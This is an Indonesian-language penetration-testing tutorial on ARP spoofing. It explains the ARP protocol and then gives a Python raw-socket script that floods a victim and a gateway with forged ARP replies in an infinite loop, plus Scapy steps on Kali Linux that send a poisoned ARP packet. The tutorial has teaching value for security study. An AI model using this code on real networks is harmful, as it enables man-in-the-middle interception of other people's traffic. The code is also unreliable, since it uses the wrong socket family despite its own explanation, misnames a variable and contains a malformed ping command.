Pengujian Penetrasi Python - Spoofing ARP

ARP dapat didefinisikan sebagai protokol tanpa negara yang digunakan untuk memetakan alamat Internet Protocol (IP) ke alamat mesin fisik.

Bekerja dari ARP

Pada bagian ini, kita akan belajar tentang cara kerja ARP. Pertimbangkan langkah-langkah berikut untuk memahami cara kerja ARP -

  • Step 1 - Pertama, ketika mesin ingin berkomunikasi dengan yang lain, mesin harus mencari ke tabel ARP-nya untuk alamat fisik.

  • Step 2 - Jika menemukan alamat fisik mesin, paket setelah diubah ke panjang yang tepat, akan dikirim ke mesin yang diinginkan

  • Step 3 - Tetapi jika tidak ada entri yang ditemukan untuk alamat IP dalam tabel, ARP_request akan disiarkan melalui jaringan.

  • Step 4- Sekarang, semua mesin di jaringan akan membandingkan alamat IP yang disiarkan dengan alamat MAC dan jika salah satu mesin di jaringan mengidentifikasi alamat tersebut, ia akan menanggapi ARP_request bersama dengan alamat IP dan MAC-nya. Pesan ARP tersebut disebut ARP_reply.

  • Step 5 - Akhirnya, mesin yang mengirimkan permintaan akan menyimpan pasangan alamat dalam tabel ARP-nya dan seluruh komunikasi akan berlangsung.

Apa itu ARP Spoofing?

Ini dapat didefinisikan sebagai jenis serangan di mana aktor jahat mengirimkan permintaan ARP palsu melalui jaringan area lokal. ARP Poisoning juga dikenal sebagai ARP Spoofing. Itu dapat dipahami dengan bantuan poin-poin berikut -

  • Spoofing ARP pertama, untuk membebani sakelar, akan membuat sejumlah besar permintaan ARP yang dipalsukan dan paket balasan.

  • Kemudian sakelar akan diatur dalam mode penerusan.

  • Sekarang, tabel ARP akan dibanjiri dengan tanggapan ARP palsu, sehingga penyerang dapat mengendus semua paket jaringan.

Implementasinya menggunakan Python

Pada bagian ini, kita akan memahami implementasi spoofing ARP Python. Untuk ini, kami memerlukan tiga alamat MAC - pertama korban, kedua penyerang, dan ketiga gateway. Bersamaan dengan itu, kita juga perlu menggunakan kode protokol ARP.

Mari kita impor modul yang diperlukan sebagai berikut -

import socket
import struct
import binascii

Sekarang, kita akan membuat soket, yang memiliki tiga parameter. Parameter pertama memberi tahu kita tentang antarmuka paket (PF_PACKET untuk Linux khusus dan AF_INET untuk windows), parameter kedua memberi tahu kita jika itu adalah soket mentah dan parameter ketiga memberi tahu kita tentang protokol yang kita minati (di sini 0x0800 digunakan untuk IP protokol).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Kami sekarang akan memberikan alamat mac penyerang, korban dan mesin gateway -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Kita perlu memberikan kode protokol ARP seperti yang ditunjukkan -

code ='\x08\x06'

Dua paket Ethernet, satu untuk mesin korban dan satu lagi untuk mesin gateway telah dibuat sebagai berikut -

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

Baris kode berikut diurutkan sesuai dengan header ARP -

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Sekarang kita perlu memberikan alamat IP dari mesin gateway dan mesin korban (Mari kita asumsikan kita memiliki alamat IP berikut untuk mesin gateway dan korban) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Ubah alamat IP di atas ke format heksadesimal dengan bantuan file socket.inet_aton() metode.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Jalankan baris kode berikut untuk mengubah alamat IP mesin gateway.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Implementasi menggunakan Scapy di Kali Linux

Spoofing ARP dapat diimplementasikan menggunakan Scapy di Kali Linux. Ikuti langkah-langkah ini untuk melakukan hal yang sama -

Langkah 1: Alamat mesin penyerang

Pada langkah ini, kita akan menemukan alamat IP mesin penyerang dengan menjalankan perintah ifconfig pada command prompt Kali Linux.

Langkah 2: Alamat mesin target

Pada langkah ini, kita akan menemukan alamat IP mesin target dengan menjalankan perintah ifconfig pada command prompt Kali Linux, yang perlu kita buka di mesin virtual lain.

Langkah 3: Ping mesin target

Pada langkah ini, kita perlu melakukan ping ke mesin target dari mesin penyerang dengan bantuan perintah berikut -

Ping –c 192.168.43.85(say IP address of target machine)

Langkah 4: Cache ARP pada mesin target

Kita sudah tahu bahwa dua mesin menggunakan paket ARP untuk bertukar alamat MAC maka setelah langkah 3, kita dapat menjalankan perintah berikut pada mesin target untuk melihat cache ARP -

arp -n

Langkah 5: Pembuatan paket ARP menggunakan Scapy

Kami dapat membuat paket ARP dengan bantuan Scapy sebagai berikut -

scapy
arp_packt = ARP()
arp_packt.display()

Langkah 6: Mengirim paket ARP berbahaya menggunakan Scapy

Kami dapat mengirim paket ARP berbahaya dengan bantuan Scapy sebagai berikut -

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Sekarang jika kita akan memeriksa cache ARP lagi pada mesin target maka kita akan melihat alamat palsu '1.1.1.1'.